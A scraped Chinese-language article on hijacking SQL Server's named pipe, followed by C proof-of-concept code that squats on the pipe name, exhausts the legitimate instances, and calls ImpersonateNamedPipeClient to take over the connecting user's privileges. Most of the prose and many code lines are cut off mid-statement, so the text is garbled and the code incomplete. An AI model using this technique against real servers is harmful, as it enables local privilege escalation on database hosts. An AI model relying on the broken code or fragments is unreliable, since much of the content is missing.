SQL SERVER
默認實例
命名實例
也可以通過
但是由於SQL SERVER
建立時的實例個數有關
如果攻擊者復用了同名管道以後
下面就是一個簡單的例子
環境
WIN
測試流程
當然這個攻擊本身實際的意義可能不大
SQL SERVER
#include
#include
#include
#include
void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[
int i;
int dwSize ;
char szUser[
DWORD dwNumber =
//先的測試
fp = fopen(
if(fp==NULL)
printf(
//建立起一個同名管道
pipea = CreateNamedPipe(
PIPE_ACCESS_DUPLEX
PIPE_TYPE_MESSAGE|PIPE_WAIT
NMPWAIT_USE_DEFAULT_WAIT
NULL);
if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf(
return;
}
//損耗掉其他正常實例
if(WaitNamedPipe(
{
printf(
return;
}
//可以調整個數
for(i=
{
Sleep(20);
if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n");
return;
}
//WriteFile(pipeb[i],"test1",5,&num,NULL);
//WriteFile(pipeb[i],"test2",5,&num,NULL);
}
//然後等待連接
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
//模擬連接進來的用戶
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//獲得用戶信息
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
//然後再測試是否能打開這個文件,證明確實提升了權限
fp = fopen("C:\\test.txt","w");
if(fp!=NULL)
printf("now you can open file\n");
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb[i]);
return;
}
From:http://tw.wingwit.com/Article/program/SQLServer/201311/22102.html